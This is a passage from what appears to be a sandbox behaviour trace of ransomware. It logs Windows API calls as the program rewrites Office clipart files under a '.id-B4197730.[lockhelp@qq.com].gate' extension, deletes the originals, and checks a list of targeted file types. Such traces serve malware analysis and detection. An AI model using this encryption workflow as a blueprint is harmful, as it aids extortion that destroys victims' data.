(lpString=".7z") returned 3 [0295.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0295.162] lstrlenW (lpString=".dbf") returned 4 [0295.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0295.162] lstrlenW (lpString=".1cd") returned 4 [0295.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0295.162] lstrlenW (lpString=".jpg") returned 4 [0295.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.170] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=736) returned 1 [0295.170] CloseHandle (hObject=0x550) returned 1 [0295.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0295.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0295.171] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.171] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0295.171] GetLastError () returned 0x0 [0295.171] ReadFile (in: hFile=0x550, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2e0, lpOverlapped=0x0) returned 1 [0295.477] WriteFile (in: hFile=0x500, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2f0, lpOverlapped=0x0) returned 1 [0295.478] ReadFile (in: hFile=0x550, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.478] WriteFile (in: hFile=0x500, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.478] SetEndOfFile (hFile=0x500) returned 1 [0295.801] CloseHandle (hObject=0x500) returned 1 [0295.801] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.801] SetEndOfFile (hFile=0x550) returned 1 [0295.821] CloseHandle (hObject=0x550) returned 1 [0295.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0295.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0295.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0295.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0295.822] lstrlenW (lpString=".doc") returned 4 [0295.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.822] lstrlenW (lpString=".docx") returned 5 [0295.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.822] lstrlenW (lpString=".pdf") returned 4 [0295.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.822] lstrlenW (lpString=".xls") returned 4 [0295.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.822] lstrlenW (lpString=".xlsx") returned 5 [0295.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.823] lstrlenW (lpString=".ppt") returned 4 [0295.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0295.823] lstrlenW (lpString=".zip") returned 4 [0295.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.823] lstrlenW (lpString=".rar") returned 4 [0295.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.823] lstrlenW (lpString=".bz2") returned 4 [0295.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.823] lstrlenW (lpString=".7z") returned 3 [0295.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0295.823] lstrlenW (lpString=".dbf") returned 4 [0295.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0295.823] lstrlenW (lpString=".1cd") returned 4 [0295.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0295.823] lstrlenW (lpString=".jpg") returned 4 [0295.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.823] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=29212) returned 1 [0295.823] CloseHandle (hObject=0x550) returned 1 [0295.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0295.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0295.824] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.824] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0295.825] GetLastError () returned 0x0 [0295.825] ReadFile (in: hFile=0x550, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x721c, lpOverlapped=0x0) returned 1 [0296.194] WriteFile (in: hFile=0x500, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x7220, lpOverlapped=0x0) returned 1 [0296.195] ReadFile (in: hFile=0x550, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.195] WriteFile (in: hFile=0x500, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.195] SetEndOfFile (hFile=0x500) returned 1 [0296.246] CloseHandle (hObject=0x500) returned 1 [0296.246] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.246] SetEndOfFile (hFile=0x550) returned 1 [0296.252] CloseHandle (hObject=0x550) returned 1 [0296.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0296.256] lstrlenW (lpString=".doc") returned 4 [0296.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString=".docx") returned 5 [0296.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.256] lstrlenW (lpString=".pdf") returned 4 [0296.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString=".xls") returned 4 [0296.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.256] lstrlenW (lpString=".xlsx") returned 5 [0296.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.256] lstrlenW (lpString=".ppt") returned 4 [0296.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0296.256] lstrlenW (lpString=".zip") returned 4 [0296.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.256] lstrlenW (lpString=".rar") returned 4 [0296.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString=".bz2") returned 4 [0296.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString=".7z") returned 3 [0296.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0296.256] lstrlenW (lpString=".dbf") returned 4 [0296.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0296.256] lstrlenW (lpString=".1cd") returned 4 [0296.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0296.256] lstrlenW (lpString=".jpg") returned 4 [0296.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.460] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6068) returned 1 [0296.460] CloseHandle (hObject=0x4f8) returned 1 [0296.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0296.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0296.461] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.461] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0296.461] GetLastError () returned 0x0 [0296.461] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x17b4, lpOverlapped=0x0) returned 1 [0296.501] WriteFile (in: hFile=0x538, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0296.502] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.502] WriteFile (in: hFile=0x538, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.502] SetEndOfFile (hFile=0x538) returned 1 [0296.502] CloseHandle (hObject=0x538) returned 1 [0296.503] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.503] SetEndOfFile (hFile=0x4f8) returned 1 [0296.507] CloseHandle (hObject=0x4f8) returned 1 [0296.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0296.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0296.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0296.513] lstrlenW (lpString=".doc") returned 4 [0296.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.513] lstrlenW (lpString=".docx") returned 5 [0296.513] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.513] lstrlenW (lpString=".pdf") returned 4 [0296.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.513] lstrlenW (lpString=".xls") returned 4 [0296.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.513] lstrlenW (lpString=".xlsx") returned 5 [0296.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.513] lstrlenW (lpString=".ppt") returned 4 [0296.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0296.513] lstrlenW (lpString=".zip") returned 4 [0296.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.513] lstrlenW (lpString=".rar") returned 4 [0296.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.513] lstrlenW (lpString=".bz2") returned 4 [0296.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.513] lstrlenW (lpString=".7z") returned 3 [0296.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0296.513] lstrlenW (lpString=".dbf") returned 4 [0296.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0296.513] lstrlenW (lpString=".1cd") returned 4 [0296.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0296.513] lstrlenW (lpString=".jpg") returned 4 [0296.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0296.998] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.998] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0296.999] GetLastError () returned 0x0 [0296.999] ReadFile (in: hFile=0x528, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2a40, lpOverlapped=0x0) returned 1 [0297.180] WriteFile (in: hFile=0x4f0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2a50, lpOverlapped=0x0) returned 1 [0297.650] ReadFile (in: hFile=0x528, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.650] WriteFile (in: hFile=0x4f0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.650] SetEndOfFile (hFile=0x4f0) returned 1 [0297.650] CloseHandle (hObject=0x4f0) returned 1 [0297.650] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.650] SetEndOfFile (hFile=0x528) returned 1 [0297.652] CloseHandle (hObject=0x528) returned 1 [0297.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0297.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0297.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.653] lstrlenW (lpString=".doc") returned 4 [0297.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.653] lstrlenW (lpString=".docx") returned 5 [0297.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.653] lstrlenW (lpString=".pdf") returned 4 [0297.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.653] lstrlenW (lpString=".xls") returned 4 [0297.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.653] lstrlenW (lpString=".xlsx") returned 5 [0297.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.653] lstrlenW (lpString=".ppt") returned 4 [0297.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.654] lstrlenW (lpString=".zip") returned 4 [0297.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.654] lstrlenW (lpString=".rar") returned 4 [0297.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.654] lstrlenW (lpString=".bz2") returned 4 [0297.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.654] lstrlenW (lpString=".7z") returned 3 [0297.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.654] lstrlenW (lpString=".dbf") returned 4 [0297.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.654] lstrlenW (lpString=".1cd") returned 4 [0297.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.654] lstrlenW (lpString=".jpg") returned 4 [0297.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.198] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=17406) returned 1 [0298.198] CloseHandle (hObject=0x514) returned 1 [0298.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0298.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0298.260] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.260] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0298.261] GetLastError () returned 0x0 [0298.261] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x43fe, lpOverlapped=0x0) returned 1 [0298.306] WriteFile (in: hFile=0x528, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x4400, lpOverlapped=0x0) returned 1 [0298.307] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.307] WriteFile (in: hFile=0x528, lpBuffer=0x40b1020*, 